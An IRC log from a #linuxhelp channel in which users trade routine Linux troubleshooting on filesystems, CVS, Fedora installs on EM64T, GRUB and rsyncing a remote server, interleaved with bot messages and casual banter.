innbuild... is so shit.. [09:38] have no clue about wine. does openoffice not have such a thing? [09:38] i thought it was good with locales, but i really don't know [09:39] dec0ding (n=binarian@62.162.225.183) joined #linuxhelp. [09:39] ... [09:39] anyone has ATI radeon 9200 Se working under *nix ? [09:39] my addon only work on word(it work on open office too... but only under Windows....)... [09:40] #linuxhelp (+ctrn) : [m/133 o/0 h/0 v/0 n/133 b/19 e/- I/-] [09:40] anyone know the hotkeys for reload under firefox? [09:40] ctrl r [09:41] Maybe F5? [09:41] mebsd: thanks. i'm webwriting so i'm reloading a bunch [09:42] nomin (n=Owner@ppp-69-218-44-19.dsl.bcvloh.ameritech.net) left #linuxhelp. [09:44] jjb_lyceum (n=john@user-10lfd8s.cable.mindspring.com) joined #linuxhelp. [09:45] #linuxhelp (+ctrn) : [m/133 o/0 h/0 v/0 n/133 b/19 e/- I/-] [09:48] wow...i never knew a blender could interfere with wifi [09:49] ph8 (i=ph8@85-210-48-149.dsl.pipex.com) left irc: [09:50] #linuxhelp (+ctrn) : [m/132 o/0 h/0 v/0 n/132 b/19 e/- I/-] [09:50] is there a command to find out what CPU the server has? [09:50] cat /proc/cpu (i think) [09:50] or some file in /proc [09:50] cpuinfo, i think [09:50] cat /proc/cpu* [09:51] jhammel, I have a blender that opens a garage door [09:51] thanks [09:51] sethk: lots of white noise, those blenders [09:51] I got a prybar that can open many doors. [09:51] :P [09:52] sethk: just don't try to use wifi near a jacob's ladder....or any sort of spark generator really [09:53] i think running cat5 cable over florsent lights is a bad idea also. [09:55] bMotion: All channels are idle, going away [09:55] Tcl error in script for 'timer1273968': [09:55] invalid channel-dname: #linuxsphere #nf-ircstaff [09:55] #linuxhelp (+ctrn) : [m/132 o/0 h/0 v/0 n/132 b/19 e/- I/-] [09:56] _Neur0FX (n=haptics0@70.83.101.142) left irc: "Leaving" [09:57] Nick change: amrit|zzz -> amrit|wrk [09:57] dec0ding (n=binarian@62.162.225.183) left irc: Remote closed the connection [09:58] anyone else use emacs -nw? [10:00] #linuxhelp (+ctrn) : [m/130 o/0 h/0 v/0 n/130 b/19 e/- I/-] [10:00] Writing user file... [10:00] Writing channel file... [10:00] Action: jhammel dislikes editting html that was obviously not human written [10:01] bMotion: autosaving facts... [10:01] usn (n=usn@p54B59D3D.dip0.t-ipconnect.de) joined #linuxhelp. [10:01] hi folx [10:01] Action: Ostehovel loves php and likes to write php/html scripts in notepad..... [10:02] Action: jhammel is just learning php.... [10:02] Ostehovel: u'll go to hell for that, u know [10:02] Ostehovel: nah, i more meant, like, using Office [10:03] Roey (n=abc@pdpc/supporter/sustaining/Roey) left irc: "Client exiting" [10:03] i now [10:03] *know [10:03] :P [10:03] do you learning php? [10:03] <_sho_> spike, howsit goin [10:04] use the php manual is a good source of information... http://no2.php.net or any other mirror.... [10:04] _sho_: eh? [10:04] Ostehovel: thanks. i'm just beginning to learn. [10:04] :P [10:05] #linuxhelp (+ctrn) : [m/130 o/0 h/0 v/0 n/130 b/19 e/- I/-] [10:05] Ostehovel: i needed to include an html file in another and was disappointed to find html couldn't do that by itself. so that's about all i know how to do in php [10:05] :P [10:06] [10:06] :P [10:06] jhammel: u dont need php for that,u can use SSI [10:06] :P [10:07] spike: well, there's lots of ways to do it...i went with php because its the first one i could figure out [10:07] Ostehovel: actually, i was told was better for some security reason [10:07] jhammel: SSI is the one requiring the minimum modification to the system, so the right one [10:08] Edward321 (n=edward@88-110-241-181.dynamic.dsl.as9105.com) joined #linuxhelp. [10:09] ok [10:09] :P [10:09] that you come with is maybe faster too... [10:09] im a not a proff in php [10:09] im only 15 years and begin with php last year... [10:09] 1004 [10:09] *2004 [10:10] #linuxhelp (+ctrn) : [m/131 o/0 h/0 v/0 n/131 b/19 e/- I/-] [10:10] 1004...lol [10:10] that would be impressive [10:10] Edward213 (n=edward@88-110-65-221.dynamic.dsl.as9105.com) joined #linuxhelp. [10:11] igotyofire (n=igotyofi@pool-71-104-113-232.lsanca.dsl-w.verizon.net) left irc: "Leaving" [10:11] Ostehovel: last year is 3 days ago... u know... [10:12] Budd (n=eric@pool-71-123-102-92.spfdma.east.verizon.net) joined #linuxhelp. [10:14] i know [10:14] but i mean 2004... :P [10:14] My laptop can use both wireless and wired Ethernet. By giving both interfaces the same address and changing the routing table, I can switch between them w/o closing TCP connections. [10:14] Is there any way to do this more automatically? Or to use both interfaces at once when they're both up? [10:15] #linuxhelp (+ctrn) : [m/132 o/0 h/0 v/0 n/132 b/19 e/- I/-] [10:15] (actually, scratch that about using both at once - that wouldn't gain me anything) [10:16] how to remove a software wth all configuration files from RHES4? [10:18] hikenboot (n=hikenboo@c-24-218-84-234.hsd1.ma.comcast.net) left irc: "Leaving" [10:20] #linuxhelp (+ctrn) : [m/131 o/0 h/0 v/0 n/131 b/19 e/- I/-] [10:21] Budd: that's not possible, it's just what u "see" [10:21] spike: just what I "see"? I don't understand. [10:22] Budd: ur gw has got ur MAC cached, and wont re-arp it until it's expired. 'til that it'll keep sending ethernet frameworks with the MAC it got cached, and if the device is down that of course fails [10:23] Assuming we're talking of something like: laptop(eth+wifi) -> gw -> some server [10:23] even if the gw has got the wifi stuff built-in so it can correlated and check both traffic against it's internal NEW/RELATED nating table that can't work [10:24] spike: I don't have that problem at home (though I have seen it before with Cisco routers) [10:24] in fact, stuff like what u mentioned, in done in an automatica fashion with virtual interfaces, so the mac doesnt change, that in turn correlate themselves with the real hw [10:25] #linuxhelp (+ctrn) : [m/131 o/0 h/0 v/0 n/131 b/19 e/- I/-] [10:25] s/in done/is done/ [10:25] What best? Ext3 or Ext2? [10:25] Ext4 [10:25] Edward321 (n=edward@88-110-241-181.dynamic.dsl.as9105.com) left irc: Read error: 110 (Connection timed out) [10:25] that's way cooler [10:25] it isent on my list.... [10:25] Ostehovel: Ext3 is Ext2 with journaling patched in. I'd go with ext3. I believe they are cross-compatible. [10:25] ok [10:25] thanks [10:25] I use reiser4 myself, but I don't entirely trust it. [10:26] jhammel (i=500@north-mesh-wlan-113.AirBears.Berkeley.EDU) left irc: "Sedimentation fault (gravel dumped)" [10:26] Budd: yeh, u can turn journal off and remount as ext2 [10:26] :P [10:26] Ostehovel: Also, I believe you can upgrade ext2 to ext3 without reformatting. [10:26] :P [10:26] i have a chooce when i install linux now [10:26] i install linux under bochs(Emulator) under windows... [10:27] netbots: error - update check recipients 'YourNick' are invalid. [10:27] theres a way to add a journel to ext2 and make it ext3 - i forget how :P [10:27] Action: Budd waits for the 2.6.15 mm patch [10:27] Budd: yeah, tune2fs will convert ext2 to ext3 [10:27] and back [10:27] Ostehovel, use tune2fs [10:27] :P [10:27] Dr_Willis: tune2fs -j [10:27] yea. thats it - i rembnered the -j :P [10:27] but not the name [10:28] tew (n=tew@bart.psych.northwestern.edu) joined #linuxhelp. [10:29] In the old daysyou had to do journaling by writing down all filesystem changes on a napkin, then manually re-entering them if the system crashed. No, really. [10:30] bMotion: running level 4 self-diagnostic [10:30] #linuxhelp (+ctrn) : [m/130 o/0 h/0 v/0 n/130 b/19 e/- I/-] [10:30] when your file system was only 4K ya could do that. [10:30] :P [10:30] mutt (and imapd) report that my mail spool is read-only, though the file itself is mode 0660. lsof doesn't show any processes with the spool open, and there doesn't seem to be a lockfile in the /var/spool/mail directory. how can i figure out what's locking my mail spool and kill it? [10:30] i now install Linux from the beginning... [10:31] Edward213 (n=edward@88-110-65-221.dynamic.dsl.as9105.com) left irc: Read error: 110 (Connection timed out) [10:31] jfeed (n=jfeed@adsl-ull-89-246.49-151.net24.it) joined #linuxhelp. [10:31] It takes 2 houres or something...... (Under Bochs under windows with a 2.0 ghz prossor, 1024mb ram, 256mb dedicated to bochs) [10:32] does anyone use horde ? [10:35] #linuxhelp (+ctrn) : [m/130 o/0 h/0 v/0 n/130 b/19 e/- I/-] [10:42] Last message repeated 1 time(s). [10:42] WhyvasLT (n=poop@CPE0080c8ad42ec-CM00080d88e844.cpe.net.cable.rogers.com) left #linuxhelp ("Ex-Chat"). [10:45] #linuxhelp (+ctrn) : [m/129 o/0 h/0 v/0 n/129 b/19 e/- I/-] [10:46] belkin: if u find any, suggest him/her to stop doing so [10:47] ? [10:47] :) [10:47] cvs checkout: No CVSROOT specified! Please use the `-d' option [10:47] cvs [checkout aborted]: or set the CVSROOT environment variable. [10:47] why do i get this error ? [10:47] I wouild guess you dont have CVSROOT specified. [10:47] :P [10:48] belkin: are u using the -d option or specified the CVSROOT env variable? [10:48] no im not [10:48] cvs co -d framework [10:48] like this ? [10:48] like man cvs [10:48] :) [10:48] please man i really need it [10:49] mkdir the dir to be used perhaps... [10:49] Ive rarely messed with cvs [10:49] Dr_Willis: then stfu :) [10:49] phax- (n=phax@gatekeeper.usr.com) joined #linuxhelp. [10:50] #linuxhelp (+ctrn) : [m/130 o/0 h/0 v/0 n/130 b/19 e/- I/-] [10:50] RTFM! :P [10:50] :) [10:50] does ./easy_E17.sh --install [10:50] count? [10:50] :P [10:50] it uses cvs [10:50] there are clear instructions about how to retrieve stuff from cvs on the sourceforge website too [10:51] lo pp, need some help/advice, I am getting a kernel panic on an EMT64 machine with the FC x65 disc 1, the error iswith ramdisk, is there a way i can disable ramdisk usage / [10:51] or any workaround(s) [10:52] Dr_Willis (i=willis@12-222-81-183.client.insightBB.com) left irc: "Leaving" [10:52] "can't find valid ram disk image starting at 0" [10:53] phax-: EMT64 ? [10:53] Intel EMT64 [10:54] phax-: what is this x65 disc 1 ? [10:54] I need to use the 64 bit kernel for that arch right ? [10:54] do you mean x86? [10:54] oh i meant FC x86 yes my bad [10:54] Maaahima (n=Maaahima@80-247-152-83.reverse.newskies.net) joined #linuxhelp. [10:54] FC x86-64 [10:54] poet (n=ramy@62.135.122.240) left irc: "BitchX: Little. Yellow. Better." [10:54] phax-: errrm.... afaik EMT64 is not compatable with x86, unlike AMD64 [10:54] http://fdd.ath.cx/screen.jpg is there theme installer for that launch bar my mouse point to? [10:55] #linuxhelp (+ctrn) : [m/129 o/0 h/0 v/0 n/129 b/19 e/- I/-] [10:55] is it possible to See file system on other linux machine as part of another machine's file system? [10:55] StevenR, which Fedora kernel will work on EMT64 [10:55] Maaahima: yes, using shfs, nfs or smb over a network of some description [10:55] phax-: do they produce an EMT64 kernel? [10:56] dunno :/ [10:56] smb == samba? [10:57] Maaahima: yes [10:57] oh ok [10:57] Maaahima: with those 3 options you can mount the remote dir at a mount point on the local system [10:58] ahan [10:59] actually i've rrd files generated on redhat9 machine.. and i want to use those rrds on my rhel machine. [10:59] samba is the scenario for this case? [10:59] Maaahima: rrd? [10:59] they are mrtg log files [10:59] sort of database [11:00] #linuxhelp (+ctrn) : [m/129 o/0 h/0 v/0 n/129 b/19 e/- I/-] [11:00] Writing user file... [11:00] Writing channel file... [11:00] you can use any of the methods I suggested [11:00] _sho_ (n=erik@pcp0010601116pcs.catonv01.md.comcast.net) left #linuxhelp. [11:00] if you want to do this as a simple thing, you could just use scp [11:00] ok thanks alo [11:00] t [11:01] bMotion: autosaving facts... [11:02] StevenR, http://www.fedorafaq.org/#64bit says that it can run on EM64T [11:02] scp? [11:02] phax-: yeah, they're the same arch, sorry, i was wrong [11:03] phax-: you cant use the x86 one, you must have the 64bit one as far as I can tell [11:03] StevenR, yeah i am using t hex86-64 iso [11:03] Maaahima: secure remote copy [11:03] grr, x86-64 [11:04] StevenR, but I get a kernel panic for ramdisk [11:04] you need the ramdisk, it contains the installer [11:04] you could try passing noinitrd at boot time [11:04] tew (n=tew@bart.psych.northwestern.edu) left #linuxhelp. [11:04] StevenR, i tried that, well I am booting from the install CD [11:05] #linuxhelp (+ctrn) : [m/127 o/0 h/0 v/0 n/127 b/19 e/- I/-] [11:05] phax-: IA64 is not compatable with AMD64/EMT64 [11:05] phax-: did you use noinitrd as a boot parameter? [11:05] StevenR, yes I did "linux text noinitrd" [11:05] and it failed with the same error? [11:05] StevenR, yes [11:06] StevenR, i don't have a 64 bit processor it is just 64 bit address space [11:06] phax-: eh? [11:08] StevenR, i mean it is not a Xeon processor [11:08] or Itanium [11:09] make sense ? [11:09] phax-: no...if it's not a 64bit proc, then it's not x86_64 compatable [11:10] #linuxhelp (+ctrn) : [m/127 o/0 h/0 v/0 n/127 b/19 e/- I/-] [11:11] from where do i get PEAR Mail_Mime [11:11] what is that belkin [11:11] ? [11:12] Mathman (n=Mathman@certdhcp17.cert.ucr.edu) joined #linuxhelp. [11:13] StevenR, the architecture is Intel EM64T [11:13] Nate_Grey (n=byte@216.36.6.32) left irc: Excess Flood [11:13] phax-: then it's a 64bit cpu [11:14] alright well i am not able to express this clearly, ok [11:14] Punkcut (n=Punkcut@c-67-161-65-234.hsd1.ca.comcast.net) joined #linuxhelp. [11:14] StevenR, so then FC x86-64 should work on it ? [11:14] Punkcut (n=Punkcut@c-67-161-65-234.hsd1.ca.comcast.net) left irc: Client Quit [11:14] should do [11:14] sybarite1 (n=jake@h53n1c1o986.bredband.skanova.com) left irc: Read error: 104 (Connection reset by peer) [11:15] #linuxhelp (+ctrn) : [m/126 o/0 h/0 v/0 n/126 b/19 e/- I/-] [11:15] the normal x86 install should work too [11:15] possibly the cd is just bad [11:15] hello [11:15] Punkcut (n=Punkcut@c-67-161-65-234.hsd1.ca.comcast.net) joined #linuxhelp. [11:15] I have this error: MySQL PID file could not be found![FAILED] [11:15] StevenR, now do ineed ramdisk support to install Fc x86-64 on it ? [11:15] how I can fix? [11:16] Nate_Grey (n=byte@216.36.6.32) joined #linuxhelp. [11:16] Punkcut (n=Punkcut@c-67-161-65-234.hsd1.ca.comcast.net) left irc: Client Quit [11:16] phax-: the ramdisk image that it's trying to load is the install system, it's a very tiny linux system that needs to be loaded into ram [11:17] sybariten (n=jake@h155n1c1o986.bredband.skanova.com) joined #linuxhelp. [11:18] StevenR, and it is loaded of the CD into RAM right ? does the system need any special capability todo it ? [11:19] phax-: no, it should just work....have you got another cd you can try? did you check the md5sums of the images before you burnt the cd? [11:19] StevenR, no i did not, well i will try another CD i tried both disc1 of fedora and the rescue disc [11:20] #linuxhelp (+ctrn) : [m/128 o/0 h/0 v/0 n/128 b/19 e/- I/-] [11:20] thanks for the info man, bbl [11:20] phax-: did you check the md5sums? [11:20] Maaahima (n=Maaahima@80-247-152-83.reverse.newskies.net) left irc: [11:20] do both the rescue disk and install diks fail in the same place? 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[11:45] Nate_Grey (n=byte@216.36.6.32) left irc: Read error: 110 (Connection timed out) [11:46] juice (n=juice@mo-67-77-176-14.dyn.sprint-hsd.net) left irc: Read error: 110 (Connection timed out) [11:49] kreg (n=kreg@12.160.232.30) left irc: Success [11:50] #linuxhelp (+ctrn) : [m/125 o/0 h/0 v/0 n/125 b/19 e/- I/-] [11:50] exhumed (n=exhumed@81.193.97.119) joined #linuxhelp. [11:51] {voo} (n=darkvall@i193110.upc-i.chello.nl) left irc: "leaving" [11:51] hi. How can I set Windows to be the default choice in my grub loader? Thanks in adavance [11:52] rm-rf (n=m4k3_1n5@c-24-11-228-175.hsd1.mi.comcast.net) joined #linuxhelp. [11:53] modify the "default" line in grub.conf [11:53] exhumed : default [11:54] no_gatez_fan (n=patrick@cpe-069-132-012-246.carolina.res.rr.com) joined #linuxhelp. [11:54] sphenxes (n=sphenxes@u-127-236.adsl.univie.ac.at) joined #linuxhelp. [11:55] #linuxhelp (+ctrn) : [m/128 o/0 h/0 v/0 n/128 b/19 e/- I/-] [11:55] anyone have a recommendation on distro to use for powermac 9600/233? [11:55] just modify the file, no need for writing anything else ? [11:57] exhumed (n=exhumed@81.193.97.119) left irc: Remote closed the connection [11:57] hikenboot (n=hikenboo@c-24-218-84-234.hsd1.ma.comcast.net) joined #linuxhelp. [11:57] iakah (n=nobody@200.252.232.129) left irc: "Killed by frash (Requested by panasync)" [11:58] Punkcut (n=Punkcut@adsl-63-202-163-196.dsl.snfc21.pacbell.net) joined #linuxhelp. [11:59] spike are you using horde ? [11:59] belkin: I *cough* coded *cough* some stuff around it actually, and admined a couple of instances [12:00] #linuxhelp (+ctrn) : [m/128 o/0 h/0 v/0 n/128 b/19 e/- I/-] [12:00] Writing user file... [12:00] Writing channel file... [12:00] spike do you or not ? [12:00] SimAtWork (n=sdegabri@S01060004e2dc2f2b.vs.shawcable.net) left irc: Client Quit [12:01] bMotion: autosaving facts... [12:02] SimAtWork (n=sdegabri@S01060004e2dc2f2b.vs.shawcable.net) joined #linuxhelp. [12:02] seemawn (n=seemawn@p54A9A0B8.dip0.t-ipconnect.de) left irc: Remote closed the connection [12:03] TheSimkin (n=Simkin@tor/session/x-80b3f51e9a4003e4) left irc: Remote closed the connection [12:04] belkin: right now in this precise moment? [12:04] spiekey (n=spiekey@p549D0C8F.dip0.t-ipconnect.de) joined #linuxhelp. [12:04] hello! [12:04] hello :) [12:04] can you install a 64bit distro on a 32bit system? [12:05] #linuxhelp (+ctrn) : [m/127 o/0 h/0 v/0 n/127 b/19 e/- I/-] [12:05] spiekey No [12:06] spiekey Do you mean run it or just get it on the drive? [12:07] spiekey: why would you want to? [12:07] i have rented a root server. and it only comes with suse64bit [12:07] but i want ubuntu 64bit on it [12:07] giasai (n=giasai@ip-3-139.sn2.eutelia.it) left irc: [12:08] is the server 64 bit? [12:08] yes [12:08] then what is the 32 bit system? [12:08] keter (n=NOne@ool-45750e06.dyn.optonline.net) joined #linuxhelp. [12:08] spike no man [12:09] k0s: a vmware installation which i woul dhave rsyncs onto my root-server rescue system [12:09] the vmware install would have been on a 32bit system [12:10] #linuxhelp (+ctrn) : [m/127 o/0 h/0 v/0 n/127 b/19 e/- I/-] [12:10] spike such a idot [12:10] *idiot [12:10] spiekey: well you lost me. why not put a 32bit linux/unix on the 32 bit system and run rsync? [12:11] k0s: i have a remote 64Bit-server. Only accessable by ssh and a rescue system/console [12:12] Action: spike shrugs [12:12] spiekey: that doesn't answer my question [12:12] k0s: why should i install a 32bit system on a 64bit arch? [12:12] belkin: u asked me if I was using it, and I said I coded sutff for it and admined a couple of instances [12:12] belkin: why on the earth would u then ask "do u or not"? [12:13] and I'm the idiot? [12:13] spike: uh, you shouldn't. you're question was if you could install 64bit OS on 32bit arch? [12:13] k0s: yes. the idea was the following [12:13] spike: sorry, that was supposed to be to spiekey [12:14] belkin: I'm sick of guys like you that cant understand/read english and turn to offending when they fail to get it [12:14] install ubuntu-64bit on a local 32bit machine, and then rsync that stuff by ssh onto the 64bit box. but that obviously doesnt work [12:14] first, what is "that stuff"? second, why doesn't that work? [12:14] spike i do understand , read and laso speak english man [12:14] the rsyncing part, anyway [12:15] #linuxhelp (+ctrn) : [m/127 o/0 h/0 v/0 n/127 b/19 e/- I/-] [12:15] obviously the installing 64bit on 32bit won't work... [12:15] belkin: then why on the earth u asked me "do u or not"? wasnt clear enough I did stuff and extensively run horde? find me someone that wouldnt think so [12:15] k0s: "that stuff" would have been a local linux installation. [12:15] spike well could you tell me what do i have to do with those scripts that horde is gen. ? [12:15] spiekey: oh, i see...you don't have physical access to the server? [12:16] k0s: nope [12:16] ;) [12:16] deego (n=user@12.166.244.34) left irc: SendQ exceeded [12:16] spike is says Setup upgrade scripts available [12:16] belkin: why are u talking to an idiot now? [12:16] spike so bassic what i need to do is save the script and run it ? or what [12:16] spiekey: so what were you going to rsync? /dev/hda? [12:17] k0s: hda2, yes [12:17] spike sometime some idiots might know a bit more things ... [12:17] :P [12:17] k0s: but that way to go is nonsense, since i cant get a local 64bit install here [12:17] i only have 32bit machines here [12:18] spiekey: seems risky at best, even if you had the local files. one mistake and you'd never be able to boot again [12:19] tylerW (n=ty@rrcs-67-79-116-79.se.biz.rr.com) left irc: Read error: 110 (Connection timed out) [12:19] k0s: i can always reboot into a 64Bit rescue system. Resetting and recovering isnt a problem at all [12:19] Mjolnir (n=jdbarnha@12.180.197.147) left irc: [12:20] #linuxhelp (+ctrn) : [m/124 o/0 h/0 v/0 n/124 b/19 e/- I/-] [12:20] k0s: now you lost me completly? [12:24] spiekey: i guess you were planning on keeping SuSE on there then? [12:25] #linuxhelp (+ctrn) : [m/124 o/0 h/0 v/0 n/124 b/19 e/- I/-] [12:25] k0s: no suse! :D [12:25] k0s: a way would be to use xen. Install ubuntu64bit on xen, and then rsync it. [12:27] spiekey: have you ever rsynced a live server? [12:28] ie, running box A with distro X, and box B with distro Y, then rsync from B to A while both are running [12:28] spiekey: ever done that? [12:30] bMotion: running level 4 self-diagnostic [12:30] #linuxhelp (+ctrn) : [m/124 o/0 h/0 v/0 n/124 b/19 e/- I/-] [12:30] spike: yes [12:30] raven (n=raven@modemcable190.237-80-70.mc.videotron.ca) joined #linuxhelp. [12:31] spike: the one difference is that the target system run a minimal rescue mode linux where i have mounted my original root to /mnt/hda2 or something [12:31] spiekey: call it a small diff ;) [12:33] ShawnRisk (n=ShawnRis@HSE-Toronto-ppp317184.sympatico.ca) joined #linuxhelp. [12:34] hey all! [12:35] #linuxhelp (+ctrn) : [m/126 o/0 h/0 v/0 n/126 b/19 e/- I/-] [12:36] hmm, anyone here who can make some sense out of this log?: http://www.xs4all.nl/~stijnw/ppp.txt [12:36] usn_ (n=usn@p54B59D3D.dip0.t-ipconnect.de) joined #linuxhelp. [12:37] usn_ (n=usn@p54B59D3D.dip0.t-ipconnect.de) left irc: Broken pipe [12:37] (I'm trying to link another computer with a serial line to a Linux system that runs pppd) [12:37] usn (n=usn@p54B59D3D.dip0.t-ipconnect.de) left irc: Remote closed the connection [12:38] I can make some sense of this [12:38] did you look up the errors on Google first? [12:38] usn (n=usn@p54B59D3D.dip0.t-ipconnect.de) joined #linuxhelp. [12:38] Hi there. can anyone tell me how to update the module dependancy on Linux 2.6.. I have a kernel panic when it's trying to load the reiserfs.ko module at boot time.... Any advise? (besides recompiling the kernel and keeping reiserfs build into the kernel .. [12:39] ShawnRisk: yes, but without much results :/ [12:39] s/much/many [12:40] #linuxhelp (+ctrn) : [m/126 o/0 h/0 v/0 n/126 b/19 e/- I/-] [12:40] which distro? [12:40] ShawnRisk: Debian Sarge, kernel: 2.4.32 [12:42] k0s: i will go for local 32bit install -> rsync -> chroot -> change the apt-sources to 64bit -> upgrade -> reboot [12:43] Solak: Can't find anything [12:43] when does this happen? [12:45] #linuxhelp (+ctrn) : [m/126 o/0 h/0 v/0 n/126 b/19 e/- I/-] [12:46] bMotion: new installation, need to send stats/check version... [12:46] rm-rf (n=m4k3_1n5@c-24-11-228-175.hsd1.mi.comcast.net) left #linuxhelp ("Leaving"). [12:46] raven (n=raven@modemcable190.237-80-70.mc.videotron.ca) left irc: "[BX] Oral sex makes your day" [12:47] ShawnRisk: while setting up the ppp connection. I've changed ppp.txt a bit, it now includes the information on 'the other side' (the client, which is an Atari ST running STiK and QDialer) [12:48] if you can give as much information as possible, maybe post it on a debian mailing list or forum, and people will get back to you [12:49] I have no idea, sorry [12:49] Solak: What do you use your old computers for? [12:50] #linuxhelp (+ctrn) : [m/124 o/0 h/0 v/0 n/124 b/19 e/- I/-] [12:50] ShawnRisk: mainly programming, and trying to do things like setting up an internet connection :-) [12:51] programming what? [12:53] belkin (n=vdsv@host-84-9-15-252.bulldogdsl.com) left #linuxhelp ("Leaving"). [12:53] ShawnRisk: depends on the system, mostly small things. [12:53] like? [12:54] ShawnRisk: fractals, small userinterface, or graphics [12:54] oh [12:54] no programs? [12:55] #linuxhelp (+ctrn) : [m/123 o/0 h/0 v/0 n/123 b/19 e/- I/-] [12:55] Punkwork (n=Punkcut@dsl253-000-034.sfo1.dsl.speakeasy.net) joined #linuxhelp. [12:55] schuess (n=kfjdk@d53-64-103-164.nap.wideopenwest.com) joined #linuxhelp. [12:56] what kind of user interfaces? [12:56] ShawnRisk: what do you mean? complete applications? no. I mostly port things that I already coded on a modern computer. [12:56] xnyx_ (n=not@206.45.97.1) left irc: "Leaving" [12:56] How do I reconfigure and rebuild my kernel source tree with PCMCIA enabled? [12:56] ShawnRisk: text. [12:56] Solak: Any things I can see? [12:58] schuess (n=kfjdk@d53-64-103-164.nap.wideopenwest.com) left #linuxhelp. [12:58] ShawnRisk: hmm, no. I haven't released anything yet. But you can always visit my page which includes some of the software I programmed. [12:58] ShawnRisk: http://www.xs4all.nl/~stijnw/ [12:58] cool [12:59] Last message repeated 1 time(s). [12:59] I have made a few programs myself [12:59] ShawnRisk: and one of the things that runs on old computers as well (if there is an ANSI-C compiler for that system): http://www.xs4all.nl/~stijnw/ocmjg/ :-) [13:00] #linuxhelp (+ctrn) : [m/123 o/0 h/0 v/0 n/123 b/19 e/- I/-] [13:00] Writing user file... [13:00] Writing channel file... [13:00] cool [13:00] I tried it on CP/M, Amiga OS 3.1, TOS 1.02/1.04 [13:00] cool [13:01] bMotion: autosaving facts... [13:01] I have only used Macs, Windows, Linux, Solaris, and OS/2 beyond that nothing [13:01] xnyx (n=not@206-45-185-99.static.mts.net) left irc: Remote closed the connection [13:01] no DOS? no BSD? [13:01] xnyx (n=not@206-45-185-99.static.mts.net) joined #linuxhelp. [13:02] no AIX??? i digress [13:02] I have used DOS, never BSD or AIX [13:03] k0s: dos, windows and mac os x. not aix or bsd. [13:03] BSD is worth a looksie. AIX on the otherhand...expensive cr4p imho [13:04] worst unix ever [13:05] #linuxhelp (+ctrn) : [m/123 o/0 h/0 v/0 n/123 b/19 e/- I/-] [13:05] I wish I could use everyone [13:06] I wish I could have used a punchcard system. or eniac. now that would be bad-ass [13:06] though i hear there is an eniac emulator somewhere on the net [13:06] Viking667 (i=viking@203.184.22.63) joined #linuxhelp. [13:07] Viking667 (i=viking@203.184.22.63) left irc: Client Quit [13:07] wish I could have a room full of old computers [13:07] Action: Solak used TOS, DOS, Windows 3.11/95/98/2000, Mac OS X, Mac OS 6, Mac OS 7.5, Linux, BSD, CP/M 2.2/3.0, OS/2 Warp, Amiga OS 3.1, EPOC, PalmOS, DIPDOS [13:08] Solak: Where do you live? [13:09] Netherlands. [13:09] Punkcut (n=Punkcut@adsl-63-202-163-196.dsl.snfc21.pacbell.net) left irc: Read error: 110 (Connection timed out) [13:10] #linuxhelp (+ctrn) : [m/122 o/0 h/0 v/0 n/122 b/19 e/- I/-] [13:12] |splat| (n=sweetbre@pcp0011415952pcs.desoto01.md.comcast.net) left irc: Read error: 104 (Connection reset by peer) [13:12] |splat| (n=sweetbre@pcp0011415952pcs.desoto01.md.comcast.net) joined #linuxhelp. [13:15] #linuxhelp (+ctrn) : [m/122 o/0 h/0 v/0 n/122 b/19 e/- I/-] [13:20] Last message repeated 1 time(s). [13:20] usn (n=usn@p54B59D3D.dip0.t-ipconnect.de) left irc: Remote closed the connection [13:22] piff (n=piff@cpc2-oxfd3-3-0-cust38.oxfd.cable.ntl.com) joined #linuxhelp. [13:22] Greetings. [13:23] I have an external USB drive - 80 gigs - which is NTFS, but which I just resized using ntfsresize to 60G [13:23] However, qtparted only recognizes the disk as having one NTFS partition of 80G [13:23] I want to add a 20G FAT partition - how do I do this? [13:25] #linuxhelp (+ctrn) : [m/122 o/0 h/0 v/0 n/122 b/19 e/- I/-] [13:29] linuxnoob (n=icechat5@69.151.15.107) joined #linuxhelp. [13:30] bMotion: running level 4 self-diagnostic [13:30] #linuxhelp (+ctrn) : [m/123 o/0 h/0 v/0 n/123 b/19 e/- I/-] [13:31] linuxfreck (n=freck@p5492AC0E.dip0.t-ipconnect.de) left irc: Remote closed the connection [13:33] Solak: I live in Canada [13:33] Solar: Any posts on your problem? [13:35] #linuxhelp (+ctrn) : [m/122 o/0 h/0 v/0 n/122 b/19 e/- I/-] [13:36] piff (n=piff@cpc2-oxfd3-3-0-cust38.oxfd.cable.ntl.com) left irc: Remote closed the connection [13:37] ShawnRisk: ah. no, no posts yet. [13:40] #linuxhelp (+ctrn) : [m/121 o/0 h/0 v/0 n/121 b/19 e/- I/-] [13:41] baken (n=ohay@c9150bb4.virtua.com.br) joined #linuxhelp. [13:42] if I want relatively stable programs, but not so old as debian's stable release, should I go with 'unstable' or 'testing' repositories? [13:42] Solak: Where is it? [13:42] ShawnRisk: I didn't post a question (yet). [13:42] :O [13:45] #linuxhelp (+ctrn) : [m/122 o/0 h/0 v/0 n/122 b/19 e/- I/-] [13:49] baken (n=ohay@c9150bb4.virtua.com.br) left #linuxhelp ("Have u written documentation today?"). [13:50] #linuxhelp (+ctrn) : [m/121 o/0 h/0 v/0 n/121 b/19 e/- I/-] [13:55] Last message repeated 1 time(s). [13:55] nlight (n=nlight@85.187.173.231) left irc: "And then the lord said to John: "Come forth and gain eternal life." But John came fifth and won a toaster." [13:56] speedy (n=speedy@62.215.96.94) joined #linuxhelp. [13:56] speedy (n=speedy@62.215.96.94) left #linuxhelp. [13:56] sybariten (n=jake@h155n1c1o986.bredband.skanova.com) left irc: Read error: 110 (Connection timed out) [13:57] ompaul (n=ompaul@A-53-236.cust.iol.ie) joined #linuxhelp. [13:58] rickest (n=rickest@rtc-gw.ronan.net) joined #linuxhelp. [13:58] WhyvasLT (n=poop@CPE0080c8ad42ec-CM00080d88e844.cpe.net.cable.rogers.com) joined #linuxhelp. [13:59] malverian[work] (n=pawalls@pawalls.teamgleim.com) joined #linuxhelp. [13:59] When the "last" command says "crash", does that mean the system crashed or that the person's terminal crashed? [14:00] #linuxhelp (+ctrn) : [m/123 o/0 h/0 v/0 n/123 b/19 e/- I/-] [14:00] Writing user file... [14:00] Writing channel file... [14:00] Also.. does the "reboot" entry get written to utmp when the reboot command is run or after the system starts booting back up? [14:01] bMotion: autosaving facts... [14:01] malverian[work] : it means that the system most likely crashed, since there is no record of that person logging out [14:01] Hmm.. what about the second question? [14:02] second question probably would be best answered by a simple test, and corelation of time stamps :) [14:02] |splat| (n=sweetbre@pcp0011415952pcs.desoto01.md.comcast.net) left irc: Read error: 110 (Connection timed out) [14:02] ananke, True.. [14:03] but most likely you're talking about the 'reboot system boot' entry. in that case, upon starting of the system [14:03] ananke, 